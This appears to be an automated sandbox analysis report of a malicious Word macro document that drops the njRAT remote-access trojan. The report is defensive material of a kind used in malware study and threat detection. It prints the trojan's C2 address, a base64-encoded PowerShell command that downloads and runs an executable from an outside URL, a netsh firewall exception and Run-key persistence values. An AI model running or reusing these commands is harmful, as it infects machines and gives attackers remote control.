Analysis
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max time kernel
154s -
max time network
164s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
10-05-2021 16:02
Static task
static1
Behavioral task
behavioral1
Sample
2a8f04dd_by_Libranalysis.doc
Resource
win7v20210408
Behavioral task
behavioral2
Sample
2a8f04dd_by_Libranalysis.doc
Resource
win10v20210410
General
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Target
2a8f04dd_by_Libranalysis.doc
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Size
43KB
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MD5
2a8f04ddc03f8c4db0821275619b55b4
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SHA1
8bf21477518f4f33bbd9f1a0f013302be516ea53
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SHA256
531471184d5c8eb4ec97c12059b5bbc8f397b3749033f7fd80405a1b560fbb17
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SHA512
27eb081ce75ae5015adc7368b109fd82b6fa7dfab627a4faa0a8cc43aa83385f75906e463b1a0cde23490f0274c150578c923c2fe3e9d2eec9e26492fd717c43
Malware Config
Extracted
http://meetthepriestessatl.com/August2020.exe
Extracted
njrat
0.7d
2021$$$
194.5.98.210:4040
0ef5de3f5b1fb89677ba03e41fa0a05a
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reg_key
0ef5de3f5b1fb89677ba03e41fa0a05a
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splitter
|'|'|
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1968 1020 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 1672 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
Processes:
CfMjPH.exeAddInProcess32.exepid process 944 CfMjPH.exe 660 AddInProcess32.exe -
Modifies Windows Firewall 1 TTPs
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Drops startup file 2 IoCs
Processes:
AddInProcess32.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0ef5de3f5b1fb89677ba03e41fa0a05a.exe AddInProcess32.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0ef5de3f5b1fb89677ba03e41fa0a05a.exe AddInProcess32.exe -
Loads dropped DLL 3 IoCs
Processes:
powershell.exeCfMjPH.exepid process 1672 powershell.exe 1672 powershell.exe 944 CfMjPH.exe -
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
Processes:
resource yara_rule behavioral1/memory/944-102-0x00000000007A0000-0x00000000007C1000-memory.dmp agile_net -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
AddInProcess32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\0ef5de3f5b1fb89677ba03e41fa0a05a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\AddInProcess32.exe\" .." AddInProcess32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\0ef5de3f5b1fb89677ba03e41fa0a05a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\AddInProcess32.exe\" .." AddInProcess32.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
CfMjPH.exedescription pid process target process PID 944 set thread context of 660 944 CfMjPH.exe AddInProcess32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1020 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeCfMjPH.exepid process 1672 powershell.exe 1672 powershell.exe 944 CfMjPH.exe 944 CfMjPH.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exeCfMjPH.exeAddInProcess32.exedescription pid process Token: SeDebugPrivilege 1672 powershell.exe Token: SeDebugPrivilege 944 CfMjPH.exe Token: SeDebugPrivilege 660 AddInProcess32.exe Token: 33 660 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 660 AddInProcess32.exe Token: 33 660 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 660 AddInProcess32.exe Token: 33 660 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 660 AddInProcess32.exe Token: 33 660 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 660 AddInProcess32.exe Token: 33 660 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 660 AddInProcess32.exe Token: 33 660 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 660 AddInProcess32.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
WINWORD.EXEpid process 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE 1020 WINWORD.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
WINWORD.EXEcmd.execmd.exepowershell.exeCfMjPH.exeAddInProcess32.exedescription pid process target process PID 1020 wrote to memory of 1968 1020 WINWORD.EXE cmd.exe PID 1020 wrote to memory of 1968 1020 WINWORD.EXE cmd.exe PID 1020 wrote to memory of 1968 1020 WINWORD.EXE cmd.exe PID 1020 wrote to memory of 1968 1020 WINWORD.EXE cmd.exe PID 1968 wrote to memory of 1712 1968 cmd.exe cmd.exe PID 1968 wrote to memory of 1712 1968 cmd.exe cmd.exe PID 1968 wrote to memory of 1712 1968 cmd.exe cmd.exe PID 1968 wrote to memory of 1712 1968 cmd.exe cmd.exe PID 1712 wrote to memory of 1672 1712 cmd.exe powershell.exe PID 1712 wrote to memory of 1672 1712 cmd.exe powershell.exe PID 1712 wrote to memory of 1672 1712 cmd.exe powershell.exe PID 1712 wrote to memory of 1672 1712 cmd.exe powershell.exe PID 1020 wrote to memory of 1056 1020 WINWORD.EXE splwow64.exe PID 1020 wrote to memory of 1056 1020 WINWORD.EXE splwow64.exe PID 1020 wrote to memory of 1056 1020 WINWORD.EXE splwow64.exe PID 1020 wrote to memory of 1056 1020 WINWORD.EXE splwow64.exe PID 1672 wrote to memory of 944 1672 powershell.exe CfMjPH.exe PID 1672 wrote to memory of 944 1672 powershell.exe CfMjPH.exe PID 1672 wrote to memory of 944 1672 powershell.exe CfMjPH.exe PID 1672 wrote to memory of 944 1672 powershell.exe CfMjPH.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 944 wrote to memory of 660 944 CfMjPH.exe AddInProcess32.exe PID 660 wrote to memory of 1116 660 AddInProcess32.exe netsh.exe PID 660 wrote to memory of 1116 660 AddInProcess32.exe netsh.exe PID 660 wrote to memory of 1116 660 AddInProcess32.exe netsh.exe PID 660 wrote to memory of 1116 660 AddInProcess32.exe netsh.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2a8f04dd_by_Libranalysis.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd /c cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AbQBlAGUAdAB0AGgAZQBwAHIAaQBlAHMAdABlAHMAcwBhAHQAbAAuAGMAbwBtAC8AQQB1AGcAdQBzAHQAMgAwADIAMAAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAQwBmAE0AagBQAEgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEMAZgBNAGoAUABIAC4AZQB4AGUA2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AbQBlAGUAdAB0AGgAZQBwAHIAaQBlAHMAdABlAHMAcwBhAHQAbAAuAGMAbwBtAC8AQQB1AGcAdQBzAHQAMgAwADIAMAAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAQwBmAE0AagBQAEgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEMAZgBNAGoAUABIAC4AZQB4AGUA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AbQBlAGUAdAB0AGgAZQBwAHIAaQBlAHMAdABlAHMAcwBhAHQAbAAuAGMAbwBtAC8AQQB1AGcAdQBzAHQAMgAwADIAMAAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAQwBmAE0AagBQAEgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEMAZgBNAGoAUABIAC4AZQB4AGUA4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\CfMjPH.exe"C:\Users\Admin\AppData\Roaming\CfMjPH.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"6⤵
- Executes dropped EXE
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe" "AddInProcess32.exe" ENABLE7⤵
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exeMD5
6a673bfc3b67ae9782cb31af2f234c68
SHA17544e89566d91e84e3cd437b9a073e5f6b56566e
SHA256978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e
SHA51272c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39
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C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exeMD5
6a673bfc3b67ae9782cb31af2f234c68
SHA17544e89566d91e84e3cd437b9a073e5f6b56566e
SHA256978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e
SHA51272c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39
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C:\Users\Admin\AppData\Roaming\CfMjPH.exeMD5
2300f1b5fea0e1d327cb2d45fed04af2
SHA12d057ca49419bc209d81d7cd7f60cf7691d3ea15
SHA2566e8faa25a4a9df217eff05a0563d8d2628d229b0402ccf4010b35b7ebd1f751c
SHA51237220e2967fec4f54df134d5d1ac7985fedf24a5e06bd1a7d4da85fcc12d08c2fdc4ff4838b7db18c4b452be700ef90203de7bd563f1cd82e4a087e760d1e163
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C:\Users\Admin\AppData\Roaming\CfMjPH.exeMD5
2300f1b5fea0e1d327cb2d45fed04af2
SHA12d057ca49419bc209d81d7cd7f60cf7691d3ea15
SHA2566e8faa25a4a9df217eff05a0563d8d2628d229b0402ccf4010b35b7ebd1f751c
SHA51237220e2967fec4f54df134d5d1ac7985fedf24a5e06bd1a7d4da85fcc12d08c2fdc4ff4838b7db18c4b452be700ef90203de7bd563f1cd82e4a087e760d1e163
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\Users\Admin\AppData\Local\Temp\AddInProcess32.exeMD5
6a673bfc3b67ae9782cb31af2f234c68
SHA17544e89566d91e84e3cd437b9a073e5f6b56566e
SHA256978a4093058aa2ebf05dc353897d90d950324389879b57741b64160825b5ec0e
SHA51272c302372ce87ceda2a3c70a6005d3f9c112f1641bc7fe6824c718971233e66c07e2996d2785fa358566c38714c25ea812c05c7cfd2f588284849d495fd24f39
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\Users\Admin\AppData\Roaming\CfMjPH.exeMD5
2300f1b5fea0e1d327cb2d45fed04af2
SHA12d057ca49419bc209d81d7cd7f60cf7691d3ea15
SHA2566e8faa25a4a9df217eff05a0563d8d2628d229b0402ccf4010b35b7ebd1f751c
SHA51237220e2967fec4f54df134d5d1ac7985fedf24a5e06bd1a7d4da85fcc12d08c2fdc4ff4838b7db18c4b452be700ef90203de7bd563f1cd82e4a087e760d1e163
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\Users\Admin\AppData\Roaming\CfMjPH.exeMD5
2300f1b5fea0e1d327cb2d45fed04af2
SHA12d057ca49419bc209d81d7cd7f60cf7691d3ea15
SHA2566e8faa25a4a9df217eff05a0563d8d2628d229b0402ccf4010b35b7ebd1f751c
SHA51237220e2967fec4f54df134d5d1ac7985fedf24a5e06bd1a7d4da85fcc12d08c2fdc4ff4838b7db18c4b452be700ef90203de7bd563f1cd82e4a087e760d1e163
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memory/660-108-0x000000000040747E-mapping.dmp
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memory/660-111-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
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memory/660-115-0x0000000004C40000-0x0000000004C41000-memory.dmpFilesize
4KB
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memory/660-107-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
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memory/944-98-0x0000000000DE0000-0x0000000000DE1000-memory.dmpFilesize
4KB
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memory/944-102-0x00000000007A0000-0x00000000007C1000-memory.dmpFilesize
132KB
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memory/944-95-0x0000000000000000-mapping.dmp
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memory/944-100-0x0000000004A90000-0x0000000004A91000-memory.dmpFilesize
4KB
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memory/944-105-0x00000000006E0000-0x00000000006E1000-memory.dmpFilesize
4KB
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memory/944-104-0x0000000000BB0000-0x0000000000BBB000-memory.dmpFilesize
44KB
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memory/944-103-0x0000000004A91000-0x0000000004A92000-memory.dmpFilesize
4KB
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memory/1020-116-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1020-60-0x0000000072111000-0x0000000072114000-memory.dmpFilesize
12KB
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memory/1020-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1020-61-0x000000006FB91000-0x000000006FB93000-memory.dmpFilesize
8KB
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memory/1056-67-0x0000000000000000-mapping.dmp
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memory/1056-68-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmpFilesize
8KB
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memory/1116-113-0x0000000000000000-mapping.dmp
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memory/1672-70-0x0000000004930000-0x0000000004931000-memory.dmpFilesize
4KB
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memory/1672-92-0x0000000006320000-0x0000000006321000-memory.dmpFilesize
4KB
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memory/1672-91-0x00000000055D0000-0x00000000055D1000-memory.dmpFilesize
4KB
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memory/1672-84-0x0000000006290000-0x0000000006291000-memory.dmpFilesize
4KB
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memory/1672-83-0x00000000056C0000-0x00000000056C1000-memory.dmpFilesize
4KB
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memory/1672-82-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
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memory/1672-77-0x0000000005600000-0x0000000005601000-memory.dmpFilesize
4KB
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memory/1672-74-0x0000000005240000-0x0000000005241000-memory.dmpFilesize
4KB
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memory/1672-73-0x00000000024D0000-0x00000000024D1000-memory.dmpFilesize
4KB
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memory/1672-72-0x0000000004932000-0x0000000004933000-memory.dmpFilesize
4KB
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memory/1672-71-0x0000000004970000-0x0000000004971000-memory.dmpFilesize
4KB
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memory/1672-69-0x0000000002380000-0x0000000002381000-memory.dmpFilesize
4KB
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memory/1672-66-0x0000000075451000-0x0000000075453000-memory.dmpFilesize
8KB
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memory/1672-65-0x0000000000000000-mapping.dmp
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memory/1712-64-0x0000000000000000-mapping.dmp
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memory/1968-63-0x0000000000000000-mapping.dmp